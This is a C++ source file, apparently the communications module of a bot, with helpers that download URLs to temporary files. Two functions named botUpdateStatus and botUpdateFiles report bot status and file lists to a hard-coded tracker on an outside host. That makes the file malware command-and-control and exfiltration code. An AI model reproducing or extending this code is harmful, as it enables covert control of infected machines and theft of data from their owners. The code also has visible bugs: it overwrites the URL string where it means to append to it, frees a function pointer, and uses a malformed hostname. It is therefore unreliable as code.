//COMM.CPP
#include "comm.h"
#include "usefull.h"

HRESULT COMM_URLDownloadToFile(char *inURL, char *inFILE)
{
    HRESULT returnVal;
    HMODULE library = LoadLibraryA("urlmon.dll");
    _COMM_URLDownloadToFileA func;
    func = (_COMM_URLDownloadToFileA)GetProcAddress(library, "URLDownloadToFileA");
    returnVal = func(0, inURL, inFILE, 0, 0);
    FreeLibrary(library);
    free(func);
    return returnVal;
}

DWORD COMM_URLDownloadToTempFile(char *inURL)
{
    SAFECHAR2(tempname, 1024);
    SAFECHAR2(temppath, 1024);
    GetTempPathA(1024, temppath);
    GetTempFileNameA(temppath, "blk", NULL, tempname);
    if (COMM_URLDownloadToFile(inURL, tempname) == S_OK)
    {
        DeleteFileA(tempname);
        return COMM_OK;
    }
    return COMM_GENERR;
}

DWORD COMM_URlDownloadToString(char *inURL, char *outBUFF)
{
    HANDLE tempFile = INVALID_HANDLE_VALUE;
    DWORD fileSize = NULL;
    DWORD bytesRead = NULL;
    SAFECHAR2(tempname, 1024);
    SAFECHAR2(temppath, 1024);
    GetTempPathA(1024, temppath);
    GetTempFileNameA(temppath, "blk", NULL, tempname);
    if (COMM_URLDownloadToFile(inURL, tempname) == S_OK)
    {
        tempFile = CreateFileA(tempname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (tempFile == INVALID_HANDLE_VALUE) { return COMM_FILEERR; }
        fileSize = GetFileSize(tempFile, &fileSize);
        if (fileSize == NULL) { return COMM_FILEERR; }
        SAFECHAR2(fileBuffer, fileSize+5);
        if (ReadFile(tempFile, fileBuffer, fileSize, &bytesRead, NULL) == NULL) { return COMM_FILEERR; }
        if (bytesRead == NULL) { return COMM_GENERR; }
        fileBuffer[bytesRead] = '\0';
        CloseHandle(tempFile);
        strcpy(outBUFF, fileBuffer);
    }
    return COMM_OK;
}

DWORD COMM_botUpdateStatus(char *status)
{
    DWORD ret = NULL;
    SAFECHAR1(statURL, "http://microvnet0.ath,cx:6001/tracker.php?type=botStatUpdate&c=");
    SAFECHAR2(statFURL, strlen(statURL)+strlen(status)+5);
    lstrcpy(statFURL, statURL);
    lstrcpy(statFURL, status);
    ret = COMM_URLDownloadToTempFile(statFURL);
    free(statURL);
    free(statFURL);
    return ret;
}

DWORD COMM_botUpdateFiles(char *status)
{
    DWORD ret = NULL;
    SAFECHAR1(statURL, "http://microvnet0.ath,cx:6001/tracker.php?type=fileListUpdate&c=");
    SAFECHAR2(statFURL, strlen(statURL)+strlen(status)+5);
    lstrcpy(statFURL, statURL);
    lstrcpy(statFURL, status);
    ret = COMM_URLDownloadToTempFile(statFURL);
    free(statURL);
    free(statFURL);
    return ret;
}